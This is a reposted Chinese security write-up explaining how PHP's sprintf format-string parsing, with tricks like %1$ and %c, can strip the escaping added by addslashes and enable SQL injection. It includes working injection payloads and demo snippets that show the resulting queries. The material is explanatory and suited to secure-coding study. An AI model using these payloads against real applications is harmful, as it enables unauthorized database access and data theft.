sprintf格式化字符串带来的注入隐患
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sprintf格式化字符串带来的注入隐患相关的知识,希望对你有一定的参考价值。
原文链接:https://paper.seebug.org/386/
摘要点关键知识点
<?php $input = addslashes("%1$‘ and 1=1#"); $b = sprintf("AND b=‘%s‘", $input); ... $sql = sprintf("SELECT * FROM t WHERE a=‘%s‘ $b", ‘admin‘); echo $sql;
通过fuzz得知,在php的格式化字符串中,%后的一个字符(除了‘%‘
)会被当作字符类型,而被吃掉,单引号‘
,斜杠\
也不例外。
如果能提前将%‘ and 1=1#
拼接入sql语句,若存在SQLi过滤,单引号会被转义成\‘
select * from user where username = ‘%\‘ and 1=1#‘;
然后这句sql语句如果继续进入格式化字符串,\
会被%
吃掉,‘
成功逃逸
<?php $sql = "select * from user where username = ‘%\‘ and 1=1#‘;"; $args = "admin"; echo sprintf( $sql, $args ) ; //result: select * from user where username = ‘‘ and 1=1#‘ ?>
还可以使用%1$
吃掉后面的斜杠,而不引起报错
<?php $sql = "select * from user where username = ‘%1$\‘ and 1=1#‘ and password=‘%s‘;"; $args = "admin"; echo sprintf( $sql, $args) ; //result: select * from user where username = ‘‘ and 1=1#‘ and password=‘admin‘; ?>
国外安全研究人员Anthony Ferrara给出了另一种此漏洞的利用方式
<?php $input1 = ‘%1$c) OR 1 = 1 /*‘; $input2 = 39; $sql = "SELECT * FROM foo WHERE bar IN (‘$input1‘) AND baz = %s"; $sql = sprintf($sql, $input2); echo $sql;
%c
起到了类似chr()
的效果,将数字39转化为‘
,从而导致了sql注入。
以上是关于sprintf格式化字符串带来的注入隐患的主要内容,如果未能解决你的问题,请参考以下文章